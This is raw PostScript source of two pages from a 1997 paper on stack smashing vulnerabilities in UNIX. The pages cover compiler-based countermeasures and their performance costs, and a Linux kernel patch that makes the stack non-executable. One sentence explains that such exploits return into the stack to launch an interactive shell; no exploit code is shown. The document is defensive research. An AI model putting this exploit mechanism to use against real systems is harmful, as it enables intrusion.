(on )W 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2367 M -0.023 0 (will execute with respect to this patch.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2544 M -2.300 0 (I)A 13.000 0 32 (n )W -0.400 0 (c)A (on)S -0.400 0 (c)A 0.200 0 (l)A (u)S 0.100 0 (s)A 0.200 0 (i)A 13.000 0 32 (on, )W 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D 13.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 14.400 0 32 -0.400 0 (e )D (o)S 14.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e )D 13.700 0 32 0.300 0 (C )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 14.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 14.000 0 32 (o )W 13.800 0 32 0.200 0 (limit )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 14.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2721 M (oppo)S -0.300 0 (r)A 0.200 0 (t)A (un)S 0.200 0 (iti)A -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D (o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 1.000 0 32 (n )W 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 2.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D 0.700 0 32 0.300 0 (C )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 1.400 0 32 -0.400 0 (e a)D 0.800 0 32 0.200 0 (t )D 1.400 0 32 -0.400 0 (a )D (non)S -0.300 0 (-)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (i)A -0.400 0 (a)A 0.800 0 32 0.200 0 (l l)D -0.400 0 (e)A (v)S -0.400 0 (e)A 0.200 0 (l)A 2.000 0 32 (. )W -0.200 0 (A)A (dd)S 0.200 0 (iti)A (on)S -0.400 0 (a)A 0.200 0 (ll)A -3.000 0 (y)A 2.000 0 32 (, )W 0.200 0 (t)A (h)S -0.400 0 (e)A ; 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: 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3606 M -0.294 0 (program manually.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 3784 M 0.189 0 (11.3 CPU/OS kernel stack execution privilege)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3989 M -0.100 0 (T)A (h)S 25.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (o)S 0.100 0 (s)A 25.800 0 32 0.200 0 (t )D -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A 26.000 0 32 (d )W -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A 26.000 0 32 (h )W 0.200 0 (i)A 26.000 0 32 (n p)W -0.300 0 (r)A -0.400 0 (e)A (v)S -0.400 0 (e)A (n)S 0.200 0 (ti)A (n)S 27.000 0 32 -1.000 0 (g )D 0.100 0 (s)A (o)S 0.200 0 (m)A 26.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 26.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 27.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4166 M 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A -3.000 0 (y)A 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D -0.400 0 (a)A 4.000 0 32 (n op)W -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 5.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A -1.000 0 (')A 3.900 0 32 0.100 0 (s )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 3.800 0 32 0.200 0 (l )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 3.800 0 32 0.200 0 (t limit)D 5.000 0 32 ( )W 0.100 0 (s)A (u)S -0.400 0 (c)A 5.000 0 32 (h )W 0.200 0 (t)A (h)S -0.400 0 (a)A 4.800 0 32 0.200 0 (t it )D (do)S -0.400 0 (e)A 4.900 0 32 0.100 0 (s )D (no)S 4.800 0 32 0.200 0 (t )D -0.400 0 (c)A (ov)S -0.400 0 (e)A 5.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4343 M -0.400 0 (ac)A 0.200 0 (t)A (u)S -0.400 0 (a)A -0.200 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k )S 0.100 0 (s)A (p)S -0.400 0 (ace)A (. )S -0.100 0 (T)A (h)S 0.200 0 (i)A -0.100 0 32 0.100 0 (s )D -0.400 0 (a)A (pp)S -0.300 0 (r)A (o)S -0.400 0 (ac)A (h )S -0.400 0 (e)A -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A 3.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S -0.400 0 (e)A -0.100 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 0.400 0 32 -0.400 0 (e )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A -1.000 0 (')A -0.100 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (ac)A 1.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 1.000 0 32 (on p)W -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A (on.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4520 M -0.100 0 (T)A (h)S 0.200 0 (i)A 16.900 0 32 0.100 0 (s )D (h)S -0.400 0 (a)A 16.900 0 32 0.100 0 (s )D 17.400 0 32 -0.400 0 (a )D -0.300 0 (f)A (und)S -0.400 0 (a)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 16.800 0 32 0.200 0 (l )D -0.400 0 (a)A (dv)S -0.400 0 (a)A (n)S 0.200 0 (t)A -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 16.900 0 32 0.100 0 (s )D (ov)S -0.400 0 (e)A 17.300 0 32 -0.300 0 (r )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A 17.300 0 32 -0.300 0 (r )D -0.400 0 (c)A (oun)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r-)A 0.200 0 (m)A -0.400 0 (ea)A 0.100 0 (s)A (u)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A 17.000 0 32 (. )W 18.000 0 32 ( )W -0.200 0 (A)A 17.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 18.400 0 32 -0.400 0 (e )D 0.200 0 (m)A (o)S 0.100 0 (s)A 17.800 0 32 0.200 0 (t )D -0.400 0 (ce)A (n)S 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (li)A 0.600 0 (z)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4697 M 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A (hod )S 0.200 0 (i)A (n )S 0.200 0 (limiti)A (n)S 1.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A (k )S 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 1.000 0 32 -1.000 0 (g )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 0.100 0 (s)A (, no )S -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (a)A 0.200 0 (ti)A 1.000 0 32 (on o)W 1.300 0 32 -0.300 0 (f )D 0.700 0 32 0.300 0 (C )D 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.900 0 32 0.100 0 (s )D (o)S 1.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e ac)D 0.200 0 (t)A (u)S -0.400 0 (a)A 0.200 0 (l)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4874 M -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 24.300 0 32 -0.300 0 (r )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 24.000 0 32 (d b)W 24.400 0 32 -0.400 0 (e )D (n)S -0.400 0 (ece)A 0.100 0 (ss)A -0.400 0 (a)A -0.300 0 (r)A -3.000 0 (y)A 25.000 0 32 (, on)W 0.200 0 (l)A 28.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 25.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 26.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 24.800 0 32 0.200 0 (m )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 24.800 0 32 0.200 0 (l )D (n)S -0.400 0 (ee)A 25.000 0 32 (d b)W 25.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (ec)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 25.000 0 32 (d. )W -0.200 0 (A)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5051 M (p)S -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A -0.400 0 (ca)A 10.800 0 32 0.200 0 (l im)D (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 11.000 0 32 (on o)W 12.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 11.900 0 32 0.100 0 (s )D -0.400 0 (c)A (on)S -0.400 0 (ce)A (p)S 11.800 0 32 0.200 0 (t )D 12.000 0 32 (on )W 0.200 0 (t)A (h)S 12.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 11.000 0 32 1.000 0 (x )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 13.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 11.800 0 32 0.200 0 (m i)D 11.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (b)S -0.400 0 (e)A 12.000 0 32 (d b)W -0.400 0 (e)A 0.200 0 (l)A (o)S -0.200 0 (w)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5228 M -0.027 0 (this description touches on the details of implementation as well as some of the problems.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5405 M -0.100 0 (T)A 4.000 0 32 (o )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 4.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 5.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 5.000 0 32 (on p)W -0.300 0 (r)A 0.200 0 (i)A (v)S 0.200 0 (il)A -0.400 0 (e)A -1.000 0 (g)A 5.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 5.000 0 32 (n )W -0.200 0 (UN)A -2.300 0 (I)A -0.200 0 (X)A 5.000 0 32 (, )W 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 6.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 4.800 0 32 0.200 0 (m )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 5.400 0 32 -0.400 0 (c )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5582 M -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (ti)A 13.000 0 32 (on )W 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 13.000 0 32 (k o)W 13.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 14.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 12.800 0 32 0.200 0 (m i)D 12.900 0 32 0.100 0 (s )D 0.200 0 (m)A -0.400 0 (a)A -0.300 0 (r)A (k)S -0.400 0 (e)A 13.000 0 32 (d )W -0.400 0 (a)A 13.900 0 32 0.100 0 (s )D (non)S -0.300 0 (-)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 14.000 0 32 (. )W -0.100 0 (T)A (hu)S 0.100 0 (s)A 14.000 0 32 (, )W -0.400 0 (e)A (v)S -0.400 0 (e)A -0.300 0 (r)A 17.000 0 32 -3.000 0 (y )D (p)S -0.300 0 (r)A (o)S -0.400 0 (ce)A 0.100 0 (ss)A ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 518 M -0.004 0 (Performance)A ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 586 500 N M 6 6 rr : 0 0 0 sco O ; 592 500 N M 3820 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 4412 500 N M 6 6 rr : 0 0 0 sco O ; 586 506 N M 6 106 rr : 0 0 0 sco O ; 4412 506 N M 6 106 rr : 0 0 0 sco O ; 586 612 N M 6 98 rr : 0 0 0 sco O ; 4412 612 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 714 M -0.032 0 ( nfib \(dumb doubly-recursive Fibonacci\): no slowdown.)A ; 586 710 N M 6 98 rr : 0 0 0 sco O ; 4412 710 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 812 M 0.013 0 ( Execution time: same.)A ; 586 808 N M 6 98 rr : 0 0 0 sco O ; 4412 808 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 910 M -0.073 0 ( Compile-time: slowdown of 3 \(very small\))A ; 586 906 N M 6 98 rr : 0 0 0 sco O ; 4412 906 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 1008 M 0.037 0 ( Executable size: much larger due to inclusion of library.)A ; 586 1004 N M 6 98 rr : 0 0 0 sco O ; 4412 1004 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 1106 M -0.021 0 ( Matrix multiply \(ikj, using array subscription\):)A ; 586 1102 N M 6 98 rr : 0 0 0 sco O ; 4412 1102 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 1204 M 0.019 0 ( Execution time: slowdown of around 30 compared to unoptimised.)A ; 586 1200 N M 6 98 rr : 0 0 0 sco O ; 4412 1200 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 1302 M -0.017 0 ( Compile-time: slowdown of around 2.)A ; 586 1298 N M 6 98 rr : 0 0 0 sco O ; 4412 1298 N M 6 98 rr : 0 0 0 sco O ; : 511 500 3982 1008 rc 0 0 0 sco F2_83 Ji 912 1400 M 0.013 0 ( Executable size: roughly the same.)A ; 586 1502 N M 6 6 rr : 0 0 0 sco O ; 586 1502 N M 6 6 rr : 0 0 0 sco O ; 592 1502 N M 3820 6 rr : 0 0 0 sco O ; 4412 1502 N M 6 6 rr : 0 0 0 sco O ; 4412 1502 N M 6 6 rr : 0 0 0 sco O ; 586 1396 N M 6 106 rr : 0 0 0 sco O ; 4412 1396 N M 6 106 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 27 ]%%) = %%PageTrailer %%Page: 28 28 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (28)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (e)A 12.000 0 32 (d und)W -0.400 0 (e)A 12.300 0 32 -0.300 0 (r )D 0.100 0 (s)A (u)S -0.400 0 (c)A 13.000 0 32 (h )W 13.400 0 32 -0.400 0 (a )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 12.800 0 32 0.200 0 (l )D -0.200 0 (w)A (ou)S 0.200 0 (l)A 13.000 0 32 (d h)W -0.400 0 (a)A (v)S 13.400 0 32 -0.400 0 (e )D 0.200 0 (it)A 12.900 0 32 0.100 0 (s s)D 0.200 0 (t)A -0.400 0 (ac)A 13.000 0 32 (k p)W -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 12.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (l)A 0.100 0 (s)A 13.000 0 32 (o )W 0.200 0 (m)A -0.400 0 (a)A -0.300 0 (r)A (k)S -0.400 0 (e)A 13.000 0 32 (d non)W -0.300 0 (-)A -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 13.000 0 32 (. )W 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (ac)A (k)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 4.000 0 32 -1.000 0 (g )D -0.400 0 (e)A 1.000 0 (x)A (p)S 0.200 0 (l)A (o)S 0.200 0 (it)A 2.900 0 32 0.100 0 (s )D (d)S -0.400 0 (e)A (p)S -0.400 0 (e)A 3.000 0 32 (nd on )W -0.400 0 (a)A 4.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (a)A (b)S 0.200 0 (l)A 4.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 4.000 0 32 (k )W -0.200 0 (w)A (h)S -0.400 0 (e)A 4.000 0 32 (n )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S 0.200 0 (i)A (n)S 5.000 0 32 -1.000 0 (g )D (b)S -0.400 0 (ac)A 4.000 0 32 (k )W 0.200 0 (i)A (n)S 0.200 0 (t)A 4.000 0 32 (o )W 4.400 0 32 -0.400 0 (a )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 7.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M -0.200 0 (w)A (h)S 0.200 0 (i)A -0.400 0 (c)A 12.000 0 32 (h )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (t)A -0.400 0 (e)A 11.900 0 32 0.100 0 (s )D -0.400 0 (a)A 12.000 0 32 (n )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (ac)A 0.200 0 (ti)A (v)S 12.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (h)S -0.400 0 (e)A 0.200 0 (ll)A 12.000 0 32 (. )W -0.700 0 (B)A 16.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 0.200 0 (i)A 12.900 0 32 0.100 0 (s )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A (on)S -0.400 0 (a)A 0.200 0 (lit)A 16.000 0 32 -3.000 0 (y )D -0.300 0 (fr)A (o)S 12.800 0 32 0.200 0 (m t)D (h)S 13.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 13.000 0 32 (, )W 0.100 0 (s)A (o)S 0.200 0 (m)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M -0.061 0 (stack smashing vulnerabilities can be stopped.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1212 M 19.200 0 32 -0.200 0 (A )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A 19.000 0 32 (h )W -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (m)A (ov)S 0.200 0 (i)A (n)S 20.000 0 32 -1.000 0 (g )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 19.000 0 32 (k )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ec)A (u)S 0.200 0 (ti)A 19.000 0 32 (on p)W -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (mi)A 0.100 0 (ss)A 0.200 0 (i)A 19.000 0 32 (on )W -0.200 0 (w)A -0.400 0 (a)A 18.900 0 32 0.100 0 (s )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (itt)A -0.400 0 (e)A 19.000 0 32 (n )W -0.300 0 (f)A (o)S 20.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 20.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 19.000 0 32 1.000 0 (x )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 14.800 0 32 0.200 0 (m )D (b)S 18.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (o)S 0.200 0 (m)A -0.400 0 (e)A (on)S 15.400 0 32 -0.400 0 (e )D -1.000 0 (g)A (o)S 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D (on)S 0.200 0 (l)A 18.000 0 32 -3.000 0 (y )D (b)S 18.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e a)D 0.200 0 (li)A -0.400 0 (a)A 14.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 2462 1389 M (So)S 0.200 0 (l)A (a)S 14.900 0 32 0.100 0 (r )D -0.200 0 (D)A -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A (gn)S -0.400 0 (e)A 0.100 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3085 1389 M 15.000 0 32 ( on )W 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (t)A (.)S 0.700 0 ([)A (7)S 14.300 0 32 0.700 0 (] )D -0.100 0 (T)A (h)S 0.200 0 (i)A 14.900 0 32 0.100 0 (s )D (p)S -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (c)A (h)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M 0.200 0 (i)A (nvo)S 0.200 0 (l)A (v)S -0.400 0 (e)A 5.000 0 32 (d )W -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S 6.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 5.400 0 32 -0.400 0 (e )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (l)A -0.300 0 (\222)A 4.900 0 32 0.100 0 (s )D -0.400 0 (c)A (od)S 5.400 0 32 -0.400 0 (e )D 0.100 0 (s)A -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (m)A -0.400 0 (e)A (n)S 4.800 0 32 0.200 0 (t limit )D (u)S 0.100 0 (s)A 0.200 0 (i)A (n)S 6.000 0 32 -1.000 0 (g )D 6.400 0 32 -0.400 0 (a )D (n)S -0.400 0 (e)A 6.200 0 32 -0.200 0 (w )D (d)S -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (p)S 0.200 0 (t)A (o)S -0.300 0 (r)A 6.000 0 32 (, )W 0.100 0 (s)A 6.000 0 32 (o )W 0.200 0 (t)A (h)S -0.400 0 (a)A 5.800 0 32 0.200 0 (t it )D (do)S -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D (no)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1743 M -0.400 0 (c)A (ov)S -0.400 0 (e)A 14.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e ac)D 0.200 0 (t)A (u)S -0.400 0 (a)A 13.800 0 32 0.200 0 (l )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 14.000 0 32 (k )W 0.100 0 (s)A (p)S -0.400 0 (ace)A 14.000 0 32 (, )W -0.400 0 (e)A -0.300 0 (ff)A -0.400 0 (ec)A 0.200 0 (ti)A (v)S -0.400 0 (e)A 0.200 0 (l)A 17.000 0 32 -3.000 0 (y )D -0.300 0 (r)A -0.400 0 (e)A 0.200 